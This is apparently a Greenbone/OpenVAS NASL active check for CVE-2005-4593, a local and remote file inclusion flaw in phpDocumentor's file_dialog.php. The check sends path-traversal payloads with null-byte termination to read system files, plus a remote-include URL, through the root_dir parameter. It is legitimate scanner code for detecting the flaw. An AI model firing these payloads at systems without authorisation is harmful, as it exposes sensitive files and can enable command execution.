phpDocumentor <= 1.3.0 RC4 LFI/RFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2006 Ferdy Riphagen
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20374");
  script_version("2025-07-18T15:43:33+0000");
  script_tag(name:"last_modification", value:"2025-07-18 15:43:33 +0000 (Fri, 18 Jul 2025)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2005-4593");
  script_xref(name:"OSVDB", value:"22114");
  script_xref(name:"OSVDB", value:"22115");
  script_name("phpDocumentor <= 1.3.0 RC4 LFI/RFI Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2006 Ferdy Riphagen");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl",
                      "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl",
                      "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"https://web.archive.org/web/20120328103332/http://retrogod.altervista.org/phpdocumentor_130rc4_incl_expl.html");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210121165146/http://www.securityfocus.com/bid/16080");
  script_xref(name:"URL", value:"https://marc.info/?l=bugtraq&m=113587730223824&w=2");

  script_tag(name:"summary", value:"phpDocumentor is prone to local and remote file inclusion
  (LFI/RFI) vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The product does not properly sanitize user input in the
  'file_dialog.php' file and a test file called 'bug-559668.php'.");

  script_tag(name:"impact", value:"It is possible for an attacker to include remote files and
  execute arbitrary commands on the remote system, and display the content of sensitive files.

  This flaw is exploitable if PHP's 'register_globals' setting is enabled.");

  script_tag(name:"solution", value:"Disable PHP's 'register_globals' setting.");

  script_tag(name:"solution_type", value:"Mitigation");
  script_tag(name:"qod_type", value:"remote_active");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("traversal_func.inc");

port = http_get_port(default:80);

if(!http_can_host_php(port:port))
  exit(0);

files = traversal_files();

host = http_host_name(dont_add_port:TRUE);

foreach dir(make_list_unique("/phpdocumentor", "/phpdoc", "/PhpDocumentor", http_cgi_dirs(port:port))) {

  if(dir == "/")
    dir = "";

  res = http_get_cache(item:dir + "/docbuilder/top.php", port:port);
  if(!res)
    continue;

  if(egrep(pattern:"docBuilder.*phpDocumentor v[0-9.]+.*Web Interface", string:res)) {
    n = 0;

    foreach pattern(keys(files)) {
      file = files[pattern];
      exploit[n] = "../../../../../../../" + file + "%00";
      result[n] = pattern;
      error[n] = "Warning.*main.*/" + file + ".*failed to open stream";
      n++;
    }

    exploit[n] = "http://" + host + "/robots.txt%00";
    result[n] = pattern + "|User-agent:";
    error[n] = "Warning.*/robots\.txt.*failed to open stream";

    for(exp = 0; exploit[exp]; exp++) {
      url = dir + "/docbuilder/file_dialog.php?root_dir=" + exploit[exp];
      req = http_get(item:url, port:port);
      recv = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
      if(!recv)
        continue;

      if(egrep(pattern:result[exp], string:recv) ||
         egrep(pattern:error[exp], string:recv)) {
        report = http_report_vuln_url(port:port, url:url);
        security_message(port:port, data:report);
        exit(0);
      }
    }
  }
}

exit(0);